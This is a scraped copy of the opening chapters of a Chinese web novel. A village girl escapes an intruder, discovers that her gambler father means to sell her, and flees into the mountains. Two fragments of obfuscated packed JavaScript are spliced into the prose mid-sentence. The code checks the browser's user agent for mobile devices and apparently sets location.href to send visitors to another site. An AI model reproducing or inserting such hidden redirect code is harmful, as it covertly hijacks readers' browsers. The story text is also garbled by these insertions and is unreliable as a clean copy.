《弄脏高岭之花》 1. 01 她要死了。 火焰张开巨口,向她扑过来,所过之处,帷幔噼噼啪啪燃烧,房梁轰然倾毁,顺着刺鼻桐油蔓延过来的灼烫高温融化她的肌肤…… 阿蛮猛然惊醒,她从床上跳了下来,在身上拍来拍去,好像那上面还有火焰在灼烧着她的头发、肌肤、脏腑、骨头…… 夜凉如水,村舍轻悄悄,唯有夏虫稠鸣,她指尖所触的只有身上粗糙的麻布衣裳。 没有火,可身上还残存着被火灼烧过的疼痛,如蛆附骨,叫她额间冒出细密的汗珠。 这不是阿蛮第一次做这样的梦,不知道为何,自前日阿父去了镇子上后,这恐怖的梦魇就缠上了她,就算阿蛮把从寺庙里求来的平安符压在枕下也无济于事。 她这是无意中撞见什么了吗? 阿蛮坐在木床上思索,忽地耳尖地听到院子里传来重物落地的声响,顿时毛竖脊凉,她摸出同样压在枕下的菜刀,注意到那道鬼鬼祟祟的声音准确地朝她的屋子摸来,阿蛮不再犹豫,握紧菜刀起身。 铜铁打的锁对于农户来说还是过于价贵,就算家里有这么一个锁,也多是用在储藏粮食的屋子里,大家还是习惯用木头门闩。 可这不包括阿蛮家。 阿蛮有个滥赌成性的阿父,将家里的五十几亩田地和砖瓦房都败完后,继续卖妻鬻妹,这样的赌鬼难免会往家里招回几次赌场的打手,阿蛮家中的门闩就是被这些打手顺手抽了把阿父狠揍了一顿后取走的。 无奈,阿蛮只得自己进山找木头做门闩。 做门闩的木头和用来烧的柴火不一样,她几次撞见同村人停下来意味深长地看着她手里的木头。 “砰砰砰!” 不怀好意的砸门声震天响起,阿蛮家的屋子是阿父败完祖产后“买”的,位置偏,在村后头,周围没什么邻居。屋子还是空了许多年的老房子,踹一脚,门就嘎吱嘎吱地响,好像下一刻就会被踹出门框倒下来。 屋外的歹人当然肆无忌惮。 阿蛮的手心里因为惧怕不停地在出汗,但她还是冷静地贴着墙壁站着,绷紧浑身的肌肉,慢慢地呼吸。 “磅!” 年久失修的木门终于不堪重负地倒下了,天上月辉清亮,将门口之人硕大的影子倒映在阿蛮面前,两人几乎是并肩站在了一起,阿蛮能听到来人仿若蛮牛般的粗重喘息声,闻到他身上干了一天农活后散发出来的汗臭味。 她死死地盯着地上的影子,几乎是在那影子动的瞬间,她双手握住菜刀柄,毫不犹豫地砍向来人。 阿蛮用了十成的力道,几乎是在同时,惨叫声响彻云霄,相邻屋舍的油灯次第燃起,睡得正沉的庄汉机警地出门查看:“怎么了?是山匪进村了,还是狼下山了?” 被阿蛮砍中手臂的人面目狰狞地冲阿蛮扑过来:“小女表子,竟然敢伤人,我叫你好死。” 阿蛮早在砍完人后朝窗户跑过去,她身骨玲珑,身体敏捷,三两下翻过窗,那人还在哎呀哎呀地喊疼,想抽刀不敢,可手臂动一下就痛,不敢翻窗,又不舍得不追阿蛮,就这么折腾半晌,才想起还可以走正门。 他拍了拍被疼痛折磨得空白的脑袋,再一次怨恨上阿蛮,凶神恶煞地冲出去要跟不知好歹的阿蛮讨命,眼前却被村人聚拢过来的油灯晃住了眼,面对村人目瞪口呆的神色,再看阿蛮已经冲进村长媳妇怀里大哭了起来,这人的双腿终于开始害怕地打 起摆来。 “你,你们听我解释……” “解释什么?”村长脸色铁青,“我睡得正香,听到那么大声的惨叫,还以为是狼进村,赶紧叫人带柴刀锄头过来查看动静,结果居然是我们村子里的人在作怪。” 人群中传来一声惊叫:“王大牛,你不在家里好好睡觉,跑到这里来做什么?” 一个披头散发的女人冲出来,完全不顾王大牛身上还插了把菜刀,直接对着他拳打脚踢:“你这个不要脸的东西,趁着阿蛮的爹不在家,你就摸进人家的屋子,你存了什么孬心思?老娘嫁给你真是倒霉一辈子了,天亮了我就回娘家去,再也不上你家了。” 村人怕闹出人命,好说好歹将人给拉开。 阿蛮披着村长媳妇的外衣,被她牵着手带去她家里安置,眼前提着油灯的人无声地分开,阿蛮清晰地感受到白日里落在身上那种恨不得吞了她的淫邪目光已经没了,取而代之的是震惊与后怕,她继续抽抽搭搭地哭泣着,其实心里只有畅快。 村长家里也不富裕,村长媳妇只能安排她和家里的花妮儿一起睡。花妮儿年纪小,被留在家里没跟出去看发生什么事,只知道她后半夜能跟着阿蛮一起睡,高兴地在床上打滚。 村长媳妇找了身不要的旧衣,让阿蛮换下沾着血的麻布短衫,但也没丢,而是留给她,摸摸她的头:“好孩子,带回去挂在窗前,看谁还敢动那种龌龊心思。” 她看阿蛮的眼神里充满爱怜。 阿蛮看得懂她的眼神。 还是小婴儿的时候,阿蛮长得就跟小仙童似的,很漂亮,如今随着年纪增大,这漂亮不减反增。即使穿着最粗陋的麻布衣服,她仍是雪肤花貌,难掩姿色。尤其是身体,逐渐饱满,在阿蛮的忐忑不安中,发育成了男人最爱的玲珑妖娆身段。 也因此,村里的妇人看待她的眼神也慢慢地变得同情、怜爱起来。 阿蛮毕竟有那样一个爹,他连亲妹子和媳妇都能拿出去卖,何况女儿这种赔钱货呢? 只是没想到,阿蛮在遭到亲爹的毒手前,先被村里人摸了屋子。 那句话怎么说来着?若一个女娘过于貌美,又没有足够保护自己的手段,就如同小儿抱金过市,只会招来祸端。 阿蛮心情沉重了起来,她想起阿父去镇上前看她的眼神,阿蛮不会看错,那分明是打量待价而沽的货物的目光。 话说回来,那个被火烧死的噩梦也是从阿父离开时做起,两者有什么关联吗? 阿蛮不安着,忽然怀里滚进来一个温暖的身躯,是花妮儿心满意足地抱着村里最漂亮的姐姐,直嚷嚷:“明天我要跟草妮儿,三丫,五娘炫耀,我今晚是抱着阿蛮姐姐睡觉的!” 阿蛮的不安稍许被花妮儿的童言童语驱散,她笑摸花妮儿的脑袋:“花妮儿想跟姐姐睡的话,姐姐明儿再来陪你好不好?” 也不知道阿蛮姐姐平时用的是什么样的皂豆,为何身上总是这样香香的,怎么也闻不够。她身上也软乎乎的,抱着她,像是抱着天上的云。 花妮儿更舍不得离开阿蛮了,道:“好啊好啊,我起床就和阿父与阿娘说,叫阿蛮姐姐住我家里,一直一直跟我睡在一起。” 阿蛮略松了口气,虽然她今天震慑了那帮不怀好意的人,但万一有更不怕死的人呢?留在村长家,好歹不用担心夜里的安全了,她可以睡个好觉,养精蓄锐面对从镇上回来的阿父了。 鸡飞狗跳后,村庄渐渐又安静下去。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058068|194917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那个梦又来了。 无处不在的火焰,摄人性命的高温,轰然倒塌的房梁。这一回,阿蛮看清了房梁上精致富贵的雕花,她怎么会出现在如此富贵的地方呢?阿蛮思索着,火焰再次舔上了她,几乎要融化人的肌肤,带来深至肺腑的痛苦。 她哭着,挣扎着,最后被一双小手拍醒,双眸睁开对上花妮儿担忧的眼。 阿蛮怔了一会,才慢慢想起昨夜发生的事。 她还活着。 梦里那场令人恐惧的大火还没有发生。 阿蛮微松了口气,她爬了起来,问花妮儿:“现在什么时辰了?” 花妮儿道:“我们都吃过朝食了,阿父本来要去地里了,结果被人叫走了,好像有什么大官来找他。” 她先回答了阿蛮的问题,方才担忧地问阿蛮:“阿蛮姐姐你还好吧?阿娘说你昨晚累了,叫我不要来吵你,可我看你做了噩梦,好痛苦,只好把你叫醒了。” 阿蛮摇了摇头:“我没事,只是做了个噩梦。” 农户起得都早,因为需要忙活地里和家里的活计,所以农户家家以懒为耻。阿蛮听说村长一家已经吃过朝食了,就知道自己起迟了,即使事出有因,但还是赶紧起来。 她如今算是寄宿在村长家,不想给村长家惹麻烦。 村长有事出去了,村长媳妇和村长儿媳妇正在院子里,村长媳妇在择菜,儿媳妇在晾已经从河里洗回来的衣裳。 两人正在聊天,很投入,阿蛮起初以为聊的是自己的事,她砍伤王大牛,虽然是正当防卫,可是王大牛受的伤不轻,他是他家的劳力,很难说王大婶不会来找她算账。 阿蛮就站在门口听了听,结果发现她们议论的不是自己的事,而是跨过河,那延绵千亩的良田的主人,陈郡谢家。 “谢家的贵主好几年没来这儿避暑了吧。” “可不是,自从玉妹子嫁进谢家之后……” 欲盖弥彰的咳嗽声响起,儿媳妇被婆母提醒阿蛮还在家中借宿,噤了声。 但也没过一会儿,那股交谈的刺挠劲上来了,儿媳妇忍不住地说:“这么多年了,也不知道她在谢家过得怎么样?有没有能力把阿蛮带走?崔裕凭不是个东西,可她阿嫂还在的时候对她还不错。” 村长媳妇没吭声。 阿蛮挑着她们沉默的时间,推门出去,村长媳妇赶紧给儿媳妇使了个神色,起身道:“阿蛮起了?灶上给你留着饭呢。” 阿蛮跟她们道谢:“昨晚给婶婶和嫂嫂添麻烦了,还要麻烦嫂嫂给我准备朝食,等用了饭我回头把家里的粮食拿过来,我住这儿已经够麻烦你们了,不能再占你们的便宜。” 村长媳妇和儿媳妇都说她太客气了,花妮儿从后头跟出来,一听阿蛮要回去就不干了:“娘!你说了今晚还留阿蛮姐姐在家里。” 村长媳妇赶紧道:“阿蛮,在你爹回来前,你就住在我家吧,别回去了,你那头门还得找人来修呢。” 阿蛮正有此意,于是客气了几句,又说要拿粮食过来,村长媳妇不愿收,但阿蛮坚决如此,也只好作罢。 她转进厨房的时候,还听村长儿媳妇在跟村长媳妇叹息:“崔裕凭不是个东西,生得女儿却这么懂事,真是歹竹出好笋,也不知道阿蛮上辈子是不是杀人放火了才会托生在这种人家。” 阿蛮站在灶前,掰开窝窝头,塞进嘴里咀嚼,每一口她吃得都很专心,就好像没听到这话一样。 2. 02 村长回来的时候阿蛮正陪花妮儿在翻花绳。 还隔着窗呢,阿蛮就听到村长的大嗓门,一下子就把抱有好奇心的邻居都吼过来了。 事关陈郡谢家,他们当然激动。 农户不懂时局政务,只看得懂他们利益相关的东西。 云州与燕州接壤,但前朝的皇帝把燕州卖给了乌桓,导致乌桓铁骑南下时,云州失去屏障,北面的两个郡直接被暴露在蛮族铁蹄下,每年春秋两季都饱受乌桓军马的蹂躏。 北面两郡民不聊生,自然有许多难民南逃,挤占南边的百姓的生存空间,很长一段时间,他们这儿治安糟糕,需要村民自发巡夜,粮价飞涨,甚至出现了饥荒。 更令人难过的是,乌桓南下,朝廷就要征夫抗敌,可云州没有充足的粮草,兵卒也都是没有经过训练就仓促上前线的民夫,结果自然是屡战屡败。 百姓既要承担高赋税,还要承受失去亲人的痛苦,很长一段时间,云州都笼罩在乌桓的阴影下,民不聊生。 直到陈郡谢氏的郎主出任云州刺史,这个形势才被扭转过来。 但陈郡谢氏具体是怎么做的,阿蛮不清楚,村里没有一个大人能给她解释清楚,她所知道的就是在那之后,云州安定了下来,粮价不再恐怖,流民消失了,被派出去的士兵忽然也能打赢乌桓了,不少人还因此得到了军功,后来,竟然连燕州都被收了回来。 百姓因此十分感激陈郡谢家,王家村更是以毗邻谢家田庄而居为荣。 就算是当年,阿蛮的亲姑姑崔玉骊在众人的见证下,被谢家的豪仆从山里拖出来,强行带回谢府,他们也都会忽略这件事,每一次谈及崔玉骊,他们不说谢家强抢民女,而是说崔玉骊嫁进了谢家。 可崔玉骊的身份,怎么可能有资格嫁给谢家呢?她大抵已经成为陈郡谢家某个郎君的姬妾,淹没在后院里了吧。 连花妮儿都被外头的动静吸引跑出去凑热闹了,阿蛮还是呆呆地坐在炕上。 院子里大家都很热情地向村长发问:“早上来找你的人当真是谢家的部曲?哇,那身高,那气势,身上的衣服亮闪闪的,就连盔甲都那么漂亮,不愧是谢家的部曲!” “他们来找你是为了什么?难道贵主要久违地来田庄避暑吗?” 村长被围在人群中心,他咳嗽了两声,伸出双手,手掌向下压了压,示意人群安静。 于是大家安静下来,纷纷仰着头,看着村长,聆听来自陈郡谢家的指示。 村长开口:“没错,贵主确实要来此地避暑。” 人群中发出了激动的叫声。 村长刚示意他们安静,现在却换成他激动了:“你们知道现在谢家的郎主是谁吗?是谢玉则,大名鼎鼎的谢玉郎!” 即便如此偏远,不蒙开化的村庄都听说过谢玉郎的名号。 无他,只因世人都想要的才、貌、权、财,他样样不落全占了。 只是比起貌,王家村更关心的是他的才和权——虽说人人都称赞谢玉郎芝兰玉树,宛若天上悬月,可是一个郎君气质能有多出尘,样貌会有多好看,脸朝黄土背朝天的庄稼汉实在想不出来,而且他们下意识认为男子好看没用,自然会忽略。 他们只知道谢家玉郎因战功卓越,刚被朝廷封为文信侯,小皇帝又赐下弓矢节钺,令他兼督燕、云、幽、并四州。在农户朴素的价值观念来,这就相当于谢玉郎成了这四州的土皇帝。 只要谢家能继续守着云州,云州太平矣! 村人不解:“这个消息我们早就知道了,村长激动什么?” “因为我直到今天才知道,”村长满面红光,“这么厉害的谢玉郎竟然是崔玉骊的儿子!” 院中有瞬间的安静,很快如油入滚水般沸腾了起来。 “崔玉骊?是那个崔玉骊?” 村长道:“对,就是她,我也是今天才知道,当初带走她的正是谢大将军的亲儿子,崔玉骊那般的身份,那位郎君并未嫌弃她,而是将她明媒正娶,做了女君!” 农户搞不清楚谢家的子嗣情况,但要提起谢大将军便只有一人,那就是第一代来云州的谢家郎主,谢玉郎的祖父,谢令。 院中安静了下来,继而爆发出更大的喧闹声。 “果真如此?可是当初崔裕凭自以为榜上了好亲事,大摇大摆地去给谢大将军祝寿,结果不是被乱棍打出去,谢府不承认有这门姻亲吗?” 至此,村长脸上忽然露出了尴尬的神色,他搓了搓手,想起了阿蛮在他家中住着。 但村民顾及不到这微妙的情绪,而是迫不及待地问:“玉郎此次回来,莫不是陪母探亲?” 人群中传出羡慕的唏嘘声,崔裕凭那么个败家子,竟然有个那般如花似玉的妹子,妹子还撞上了这般大的机遇,看起来他后半生不用愁了。真是令人嫉妒,他们辛辛苦苦一辈子在地里刨食,竟然活得还没个赌鬼舒坦。 “不,”村长尴尬地说,“部曲是为了提醒我,贵主居住在田庄的这段时间,千万看好崔裕凭,别叫他跑到贵主面前坏了贵主的兴致。” 人群中窃窃私语不断,村长已经坐立难安了,他一挥手,把村民驱散了:“好了,都明白是什么事了,赶紧去地里忙吧,又不是农闲时分。” 村长媳妇等人散后,拉了拉村长,指了指阿蛮在的方位,村长会意,摇了摇头:“见我的都是谢家的下人,我分不清是家臣还是仆从,硬着头皮略提了阿蛮,他们立刻喝斥我,叫我不要说话。看起来不只是崔裕凭,只要与他相干的,都会叫贵主不快。” 村长媳妇怔怔地出了会神,她像是领悟般道:“玉妹子当初是嫁了人后被贵主看上,她抵死不从,跑到山里藏起来,但还是被带了回去,崔裕凭不但不心疼她,还收了谢家的银子出面和她夫家和离,活生生把她男人给气死了,玉妹子当然会恨他,不愿看到他了。” 村长媳妇为阿蛮轻轻叹了声。 她确实很同情阿蛮,可是也只能如此了,崔裕凭才是阿蛮的亲阿父,若崔裕凭真打算把阿蛮卖到哪里去,她也帮不上什么忙。 阿蛮等人都散了,才出门,村长看到她还有些不自在,但阿蛮神色如常,与村长道别:“我先去地里给庄稼浇水。” 阿蛮家里那两亩田还是阿蛮阿娘被卖前,硬是从崔裕凭手里抠出来的半两银子,哭着求到村长这儿一定要给阿蛮留个活路,崔裕凭不肯把银子给女儿买田,阿母就威胁他自杀,让他人财两空不说,还要被人牙子算账。 阿蛮这才得了两亩田,她从小到大吃的粮食都是从田里来的,崔裕凭没管过她,有时候还要抢她收割回来的稻子拿去镇里卖换赌资。 阿蛮太清楚这两亩田对她意味着什么,所以哪怕昨夜遭受了惊心动魄的祸事,今天还是去地里干活了。 她拎着水桶走在田垄时,不少人都在看她,阿蛮一点没理会,泰然自若地给庄稼浇水,她越表现得冷静,就显得越深不可测,周围的人更不敢轻视她。 快到午间的时候,忽然有人喊了声:“快看!” 众人从繁重的农活中抬头看去,看到远处泥尘滚滚,皮毛油光滑亮的乌桓马咬着嚼子出现在视线里,鞍辔亮闪华贵,部曲旗旄导前,各个魁梧健硕,身着反射着日光的银甲,气势威武,继而是两辆用金玉、象牙、珠贝装饰的华盖车,上面漆着谢家繁复的徽印,绣着精美刺绣的车帘落着,看不清里头的场景,但被擎着刀枪,背着大锤,扛着斧钺的部曲簇拥着,也无人敢窥探。 农户早就纷纷跪地伏拜,口言感激之词,很快有部曲掉转马头,传达贵主的命令:“尔等快起,自在做事,不必动辄跪拜。” 农户自然称谢,直到部曲离开,还在行注目之礼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阿蛮的为人如何,她们都是看在眼里,投生给崔裕凭这样的爹做女儿,阿蛮却一点不像崔裕凭,相反她为人很正直,不占村人的便宜,也没有自甘堕落,反而是很勤劳地打理两亩田,平时吃得不好,就自己下河摸螺丝和鱼,上山摘果子。 说真的,阿蛮要是真存了勾男人的心思,她根本不用那么辛苦,村里那些男的早就自发把家里的存粮给她送过去了。 这王大婶分明在胡搅蛮缠,她们想起王大牛的媳妇说到做到,今早真的收拾了东西回娘家去了,王大婶撒泼打滚都留不下她,王大牛又闹出这种丑事,还断了手,恐怕日后难娶媳妇了,王大婶这是打算赖上阿蛮了啊。 妇人们想通后,浑身激灵,想赶紧把阿蛮带走,这时候那部曲又去而复返:“你们这是发生了什么?” 妇人们抬头看去,就见那声势浩大的队伍不知怎么停了。 王大婶早先反应过来了,指着阿蛮:“这是崔裕凭的女儿。” 妇人们脸色大变,村长带回来的话,早就传给村里人,他的原意是等崔裕凭回来后看住他,别叫他扰了贵人的兴致。 可是这话被王大婶听去了,她立刻明白了贵人对崔裕凭的厌恶,于是打算利用这种厌恶。 王大婶哭道:“这娼/妇跟她爹是一路货色,勾引我儿不成,伤了我儿,还气跑我的儿媳妇。我的命怎么那么苦,还请贵人给我做主!” 那哭得相当真情实感,不知道的还以为她才是苦主。 部曲看了她眼,拨转马头回去复命了。 时至今日,她们尚不知崔玉骊是否回来了?若是她回来了,她那么恨崔裕凭,会对这件事置之不理,还是趁机报复,让阿蛮父债女偿?没人说得好。 妇人们担忧地看向阿蛮。 3. 03 阿蛮没对贵主抱有任何期待。 庇佑着云州的谢家或许有怜悯之心,可崔裕凭对不起崔玉骊在先,崔玉骊能袖手旁观,已是和善。 阿蛮紧握柴刀,冷冷地看着王大婶,那种为了生存下去什么都能做的狼崽子一样的凶狠眼神,让王大婶一激灵,浑身起了鸡皮疙瘩。 她第一次后悔来找阿蛮的茬了。 那部曲匆匆赶了回来,这回没理会王大婶,而是点了阿蛮还有另外几个妇人,询问事情经过。 不必阿蛮开口,几个妇人七嘴八舌就把来龙去脉说清楚了,还特意强调了阿蛮是受害者,王大婶被阿蛮的眼神所慑,竟然没想起来反驳。 部曲闻言颔首,向同僚招手,那几个人便骑着马往村里去了,部曲与阿蛮道:“贵主说了,王家村地偏,恐不知刑律,若是村人犯事,便由我们带至府衙候审,至于你虽然伤人,但也是为了护卫自己,是无罪的,便不必去府衙了。” 王大婶闻言惊叫声,扑上去意欲阻止部曲,部曲却不留情面,一鞭抽过来,王大婶哀叫着倒在地上,却无人可怜她,有好心的妇人搂着阿蛮走开了。 “别理会这种人。” 阿蛮道了声谢,道上又起马蹄声、车轮声,阿蛮闻声回望,看着那滚滚泥尘,出了回神。 家中粮食不够,阿蛮回村长家前,特意去河里摸了条鱼带回去。村长媳妇再三说阿蛮不必客气,阿蛮摇摇头,撸起袖子帮村长儿媳妇去干灶头上的活。 阿蛮和一家子吃过午食,便去歇息。 花妮儿不嫌天热,滚到阿蛮的怀里,阿蛮将她的头枕放好,拿过芭蕉扇给她扇凉风,花妮儿跟她说了会儿话,就睡了过去,阿蛮继续扇着扇子,蝉鸣透窗而过,单调地重复着,阿蛮也慢慢地听睡着了。 阿蛮又做了个梦,梦中红火一片,却不再是火海,而是红绸,红纱,红蜡烛。鸡皮鹤发的老人穿着红色的吉服,色眯眯地向她伸过手来。 阿蛮被恶心醒了。 这梦虽没什么痛感,但带来的后劲也很大,她好半晌都难以平复心绪,小心翼翼把还在熟睡的花妮儿放在一旁,趿着房门出去坐在院子里磨柴刀。 崔裕凭还没回来。 阿蛮很清楚家里连个铜板都没有,既然身无分文,崔裕凭这几天又去了哪里,靠什么生活? 阿蛮越想越不安,就算柴刀磨过磨刀石的咔嚓声也无法抚平她的不安,阿蛮忽然站了起来,拔腿往外跑去。 午后太阳变得毒辣,烤得大地发焦,就连大黄狗都无精打采地趴在树下吐舌头,村民早睡下了,阿蛮跑上跨河石桥的时候,一眼望去,风吹麦浪,不见任何人。 但当她踏上谢家的土地时,那不知躲在哪里纳凉的庄汉便钻了出来,或举叉子,或扛镰刀,或提锄头,以捉贼的气势将阿蛮围了起来。 阿蛮为避免误会造成祸事,赶紧道:“我是王家村的村民,我来此处并非要做鸡鸣狗盗之事,实在是有要事求见玉骊夫人。” 庄汉道:“凭你什么身份,就想见到玉骊夫人?” 阿蛮咬了咬唇,她并不愿自报家门,那只会坏她的事,于是道:“我是来感谢贵主今日在田间为我做主。” 有个庄汉闻言却机警道:“你是不是崔裕凭的女儿?” 阿蛮愣了一下,其余人也在问可真,那庄汉指着河那边道:“部曲今日驱赶着一个断臂男子去府衙,有个老妇跟在后面又想救又不敢上前,一直在破口大骂。若我没有听错,你就是那个害她儿子坐牢的崔阿蛮吧。” 领头那个听说便直接不客气道:“快将她驱出去,若叫贵主知晓我们竟然叫崔裕凭的女儿踏足此地,非要惩治我们不可。” 阿蛮道:“贵主既愿意帮我主持公道,可见贵主对我仍旧心存善意。几位大哥行行好,帮我通报一声,若是贵主当真不愿见我,我立刻离开,绝不拖延。” 领头的却不听她的话,铁面无私地将她驱赶过河。 阿蛮好像没了法子。 家里没有银子,她跑不了多远,若崔裕凭真因为财帛动了心,将她胡乱嫁人,村里也不会有人帮她。若非谢家贵主今日的善意,阿蛮也不会来此碰碰运气。 如此,她似乎只能坐以待毙。 但阿蛮不愿如此,她的性命是阿娘用自己保下来的,阿蛮不肯活得糟糕透顶,让阿娘的牺牲毫无意义。 所以她只是沉思了一下,便毅然朝家中走去。 一夜不曾回来,院门歪斜,推开,那被人踹开的房门还倒在地上,流的血迹已经发黑,阿蛮面不改色地跨过去,从木板拼 出来的床下搬出储粮的坛子,她很用心地将坛底刮了遍,只装出一小兜的米。 阿蛮将粮袋打了个死结,系在身上,然后打包了夏、冬两季的衣裳,还有床薄被,其余带不走的,她也没留下,而是用火烧了。 经过那个梦,阿蛮其实很怕火,用打火石点燃时,她的手都在抖,可是阿蛮知道村里有狗,若崔裕凭让那些狗闻了她留下 的衣物,按照狗鼻子的灵敏度,就算她掘地三尺,都能被拽出来。 阿娘也不在了,没人会护着她,她就要自己护着自己。 阿蛮忍着惧意点了三次,把衣物点着后立刻远远地跑开,直到确认衣物都烧完了才去村长家,把花妮儿叫出来,交代两句,然后提着柴刀大踏步,头也不回地往山里走去。 崔裕凭直到次日才回来,一脸喜色,就连身上的衣服都换成了绸缎的,村人见到了都问他是不是捡到银子了。 崔裕凭不耐烦应付这些庄稼汉,挥挥手催他们散去。 有个人不满他的态度,高声喊道:“崔裕凭,你妹子成了谢家的女君,风风光光回来了,告没告诉过你啊?” 崔裕凭当初兴冲冲地赶去谢家给大将军祝寿前,在村里炫耀了圈,吹嘘他这次去是谢家当贵客,谢家必然会赠他万两金银,送他美女三五成群。 谁能想到后来他连谢府的门都不曾踏进去,就灰溜溜地被赶回来了,让村里人嘲笑了他数个月。 因此,崔裕凭恨上了崔玉骊。 他闻言脚步一顿,恼声道:“谁愿意去见她?一个嫁出去就忘了兄长的赔钱货,她不想想没有我,她能活 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他骂一通王大牛,又骂阿蛮轻贱成天只知道勾引不值钱的庄稼汉,天时已转过晌午了,阿蛮依然没露脸,问起来村人今日都没见过她,崔裕凭方起疑,他问清楚阿蛮这两日宿在村长家,骂骂咧咧地去了。 阿蛮当然不在,从花妮儿口中崔裕凭还知道阿蛮昨日就走了。崔裕凭愣了一下,反应过来:“这死丫头怎么跑了,她哪里听来的风声?” 村长媳妇警惕地问:“什么风声?你要把阿蛮如何?” “什么如何?我是她爹,难道还会害了她不成。”崔裕凭不满,也懒得和村长媳妇多话,拧身找他的赌鬼好友去了。 村长媳妇放心不下,快步跟上,到的时候正听到崔裕凭在跟赌鬼好友借狗:“只要天黑前把那个死丫头找出来,我给你一百两。” 赌鬼好友不信:“你哪来的银子?凭着张嘴就骗我?” 崔裕凭立时摸出白花花一锭银子在他面前晃了晃:“看到了没?只要找到赔钱货,这样的银子,我再给你九个。” 赌鬼好友立刻喜笑颜开地接过,去牵大黄狗了:“把你女儿的贴身衣物给阿黄闻闻,保管在天黑前给你把人找出来。” 村长媳妇明白过来了,崔裕凭忽然变得阔绰,还一回来就找阿蛮,必然是把她卖给谁了。 幸好那丫头机警,昨天就跑了。 但村长媳妇也不敢完全松气,因为那头大黄狗耀武扬威地站着,就等人送来阿蛮的贴身衣物。 未及,崔裕凭暴跳如雷地出来:“死丫头出门前把衣物都烧了,这鬼东西脑子倒是灵活,全用来算计她爹了!” 没了衣物,当然追不到阿蛮了,村长媳妇脸上露出了笑容。 可是还没等她脚步轻快地回到家去,那王大婶忽然出现了,她手里举着小衣扬起:“我家有那个贱货的东西,崔裕凭你要不要?” 村长媳妇脑子轰隆一下。 王大婶手里怎么会有阿蛮的小衣?必然是王大牛那混账东西偷的。 阿蛮丢了贴身衣物,必然不敢声张,也不能大张旗鼓地去找,才让王大牛一直把她的东西藏下来,可她也想不到,这会成为害了她一辈子的东西。 4. 04 阿蛮仍旧没有躲过那个噩梦。 再次被恶心醒时,阿蛮正带着全部的家当,缩在树上过夜,为了防止睡着后掉下来,她还将井绳拆了下来捆在腰间和树干绑在一起,当看到树下围绕的两双绿莹莹的眼睛时,阿蛮从未如此庆幸她有这个先见之明。 那两头狼一直在树下盘桓至夜色变浅,逐渐成了黛紫色后,方悻悻离去。 直到天明,阿蛮才敢下树,随意吃了点东西,阿蛮开始犯愁她的去路。 她已经躲进了山的深处,若再往里走,或许她会直接误闯进狼窝,落得个骨头都不剩的下场。 按照她的预想,这个深度也够了,崔裕凭可是个贪生怕死又懒又馋的人,在不确定她的行踪的情况下,没可能找得那么深。可是再次出现的噩梦让阿蛮很不安,有类似直觉一样的东西一直催着她继续往深山走。 可她只是个十五岁的女郎,平素吃不饱,身体并不强壮,能护身的只有把柴刀,她并没有把握在和野狼狭路相逢时活下来。 阿蛮就这么犹豫了许久,直到日头升得高高地挂在天上,她的不安非但没有散去还变得更浓郁了,阿蛮终于下定决心,固然惨死狼腹很惨,可她更不愿意让崔裕凭靠她再过一段花天酒地的舒坦日子。 若是不幸遇上狼群,大不了,大不了先用柴刀结果自己,免受被活吃之苦。 阿蛮做了决定,就立刻拔腿往山更深处走去,山路难走,她用柴刀劈开树枝蔓草,在老树的根须爬上爬下,飞鸟经过,啸叫振林,都能把她吓得立刻握紧柴刀,屏住呼吸警惕地打量四周。 很快,她听到了远处多了人声,因为离得还有段距离,像是幻觉,可阿蛮现在最怕遇到人,她赶紧加快了速度,然而有一道黄色的身影迅疾地从背后蹿了出来,扑向了她,幸好阿蛮背上有被褥挡了一下,她才没被那畜生咬到。 那黄狗一击未成,已停了下来引颈汪叫,显然在给远处的人指路。 阿蛮心里咯噔了一下,她虽然不明白崔裕凭如何找过来,但立刻做了决定,她取出井绳结成个套索,那黄狗显然得了命令,找到人后就看着她,没再意图咬她,阿蛮结套索的时候,它大概没看懂她要干什么,所以没动静。 阿蛮抓准时机,立刻将套索抛过去,正中蠢狗的脑袋,她并不心软,缩紧套索,确定制住了黄狗后,拿起柴刀就在狗身上砍了一刀,直到确定这狗没了行动能力,无法再给人指路后,她才拔腿跑。 虽然她解决了这只狗,但最多是给自己拖延了逃跑的时间,崔裕凭回村去还能牵更多的狗来,他下定了决心,阿蛮是跑不出去的。 绝望之际,阿蛮只能赌一把。 她更换了逃跑的方向。 如她所料找来的人确实是崔裕凭,可不单单是崔裕凭,他知道山大,于是又在村里找了好几个人,许了重利,结成张开的网,随着黄狗的指引来捉阿蛮。 黄狗叫的时候,这七个人都听到了,一想到只要捉到阿蛮,五十两银子就能轻轻松松到手了,纷纷加快速度围了过来,其中一个就看到了从林木间穿梭过去的阿蛮的身影。 “她在那里!” 一声大叫后,宛若闻到血腥味的狼,个个抖起精神,互相指挥,布置方位,要把包围圈收得刚刚好,形成一个能刚好将阿蛮扣进去的布袋。 眼看那口袋要开始扎紧了,有两个人看到那只被阿蛮砍死的黄狗,立刻想到阿蛮的凶狠,那人冷汗直冒:“她砍死了狗。” 竟然被阿蛮吓住了,不敢再向前。 崔裕凭气得暴跳如雷:“你们竟然还怕个小丫头片子?丢不丢人?” “你家阿蛮杀活物都不眨眼,身上又带着凶器,我们赤手空拳谁敢抓她?” 于是其他几个人也停了下来,竟然就这么让阿蛮逃了出来。 崔裕凭眼睁睁地看着到手的肥羊又跑了,气得肝疼,和那两人吵得鸡飞狗跳,其余人互相递眼色也说要退出,崔裕凭看出他们是想坐地起价,很恼火不愿叫他们如意,可是又真怕阿蛮跑了,他还得回村借狗,这一来一回要耗多少时间,真要来不及了。 于是崔裕凭咬咬牙,只好认命地给人加钱,至于加多少,自然又是番讨价还价,终于在宰了崔裕凭二百两后,在崔裕凭心疼地抽嘶声中,众人才心满意足地撇下害怕的那两人,重新去追。 